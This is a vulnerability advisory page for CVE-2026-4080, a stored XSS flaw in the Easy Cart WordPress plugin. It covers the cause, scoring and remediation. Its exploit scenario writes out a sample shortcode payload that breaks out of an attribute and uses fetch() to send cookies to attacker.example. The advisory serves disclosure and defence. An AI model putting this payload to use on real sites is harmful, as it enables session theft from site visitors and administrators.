Skip to main content

Easy Cart EUVDEUVD-2026-33892

| CVE-2026-4080 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-02 Wordfence GHSA-q97r-wcrr-7v9h
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Contributor-level WordPress account
  2. Delivery
    Craft add_to_cart shortcode with double-quote attribute breakout
  3. Exploit
    Publish or update post/page containing malicious shortcode
  4. Execution
    Victim (any site user or visitor) loads the injected page
  5. Persist
    Injected event handler executes in victim's browser context
  6. Impact
    Session tokens or credentials exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated WordPress account at Contributor level or above on a site running Easy Cart version 1.8 or earlier. The attacker must have the capability to create or edit posts and pages that include shortcodes - a permission granted to Contributors by default in WordPress. The injected payload persists until the post is edited or deleted, and executes in the browser of any user (including unauthenticated visitors or administrators) who loads the affected page. Exploitation is limited by the requirement for prior Contributor authentication; unauthenticated remote exploitation is not possible. Non-default configurations that remove Contributor posting capability or disable shortcode processing would prevent exploitation. The attack does not require any special plugin configuration beyond having the Easy Cart plugin active.

Impact

The CVSS 3.1 base score of 6.4 (Medium) reflects a network-accessible, low-complexity attack requiring low privileges (PR:L, consistent with Contributor-level WordPress authentication) and no user interaction on the attacker's part, with a Changed scope affecting end-user browser sessions (C:L, I:L, A:N). The Changed Scope is the key amplifier: a Contributor who can only edit their own content can nonetheless compromise site visitors with higher privileges, including administrators. Real-world risk is moderate-to-significant on multi-author WordPress sites where Contributor accounts are routinely granted-a common setup for blogs, news sites, and e-commerce stores. No EPSS data was provided in the intelligence feed, making probabilistic exploitation likelihood assessment unavailable; this gap should be noted. There is no CISA KEV listing and no known POC, which lowers urgency relative to a KEV-listed issue of equivalent CVSS. The attack complexity is genuinely low once Contributor access is obtained, and the stored nature of the XSS makes it more dangerous than reflected variants because a single injection persists across all subsequent page loads.

Exploit ScenarioDerived

A Contributor-level user on a multi-author WordPress site with Easy Cart installed crafts a post containing a malicious shortcode such as [add_to_cart product_name='Widget" onmouseover="fetch(//attacker.example/steal?c='+document.cookie) x="' price='9.99'], which passes sanitize_text_field() validation (no HTML tags present) but breaks out of the HTML attribute context due to the unescaped double quote. The post is published and indexed by the site; any subsequent visitor who loads the page-including logged-in administrators-triggers the injected event handler, which can be used to exfiltrate session cookies or perform actions on behalf of the victim. No public POC has been confirmed, but the vulnerability's mechanics are straightforward and reproducible from the public source code references.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 02, 2026

Stored Cross-Site Scripting in the Easy Cart WordPress plugin (all versions up to and including 1.8) permits authenticated Contributor-level users to inject persistent JavaScript payloads via the 'add_to_cart' shortcode. The vulnerability originates in the ectp_add_to_cart() function at plugin.php lines 280-287, where shortcode attributes such as 'product_name', 'product_desc', 'itemid', 'product_qty', and 'price' are processed with sanitize_text_field()-a function that strips HTML tags but does not escape double-quote characters-before being embedded in double-quoted HTML attributes. This allows attribute context breakout and arbitrary event handler injection that executes against any visitor loading the affected page. No public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis - the Wordfence advisory and WordPress plugin trac references both point to the vulnerable 1.8 codebase without indicating an available fixed release. Site administrators should disable the Easy Cart plugin until a patched version is published by the vendor (zeshanb). As a compensating control, audit and restrict Contributor-level user accounts: remove or demote untrusted Contributor accounts, since this role is the minimum required for exploitation. WordPress sites with the Wordfence plugin installed should ensure the WAF rule for this CVE is active (rule ID associated with Wordfence advisory 73615729-c32a-45f7-b2d8-5c978370e18c), which may block shortcode-based injection attempts - note this is a detection/blocking control, not a fix, and should not substitute for patching. If the plugin cannot be disabled, consider restricting shortcode usage to trusted roles via a capability management plugin, with the trade-off that this may break intended e-commerce functionality. Monitor the WordPress plugin repository and Wordfence feed for an updated release.

Affected VersionsENISA

Easy Cart 0 ≤1.8

Affected Packages

euvd easy_cart no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the Easy Cart WordPress plugin (vendor: zeshanb, CPE: cpe:2.3:a:zeshanb:easy_cart:*:*:*:*:*:*:*:*), a shopping cart shortcode plugin. The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a context-mismatch sanitization error: WordPress's sanitize_text_field() is designed for plain-text fields and correctly strips HTML tags, but it does not perform HTML attribute encoding. When user-controlled shortcode attribute values are inserted directly into double-quoted HTML attributes without applying esc_attr() or equivalent output encoding, an attacker can inject a double-quote character to break out of the attribute boundary and append arbitrary event handlers (e.g., onmouseover, onerror). Source code references pinpoint the vulnerable insertions at plugin.php lines 263, 280, and 283-287 across both the trunk and the 1.8 tagged release.

Know when Easy Cart gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Easy Cart plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'add_to_cart' shortcode in all versions up to and including 1.8. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes. Specifically, the ectp_add_to_cart() function uses sanitize_text_field() on shortcode attributes like 'itemid', 'product_name', 'product_desc', 'product_qty', and 'price' before inserting them into double-quoted HTML attributes. While sanitize_text_field() strips HTML tags, it does not escape double quote characters, allowing an attacker to break out of the HTML attribute context and inject arbitrary event handlers. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy